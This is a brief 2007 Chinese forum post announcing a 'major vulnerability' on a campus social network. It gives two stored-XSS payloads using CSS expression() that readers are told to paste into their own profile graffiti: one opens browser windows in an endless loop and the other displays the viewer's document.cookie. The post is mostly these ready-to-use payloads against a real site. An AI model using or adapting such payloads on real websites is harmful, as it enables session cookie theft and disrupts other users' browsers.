校内网重大漏洞

XSS的跨站

如下语句加入到自己的涂鸦里去 ，
<DIV STYLE="width: expression(window.open('http://www.baidu.com'));">
这句会弹出窗口，死循环
<DIV STYLE="width: expression(alert(document.cookie));">
这句弹出你的cookie

 

---

spark

2007-01-26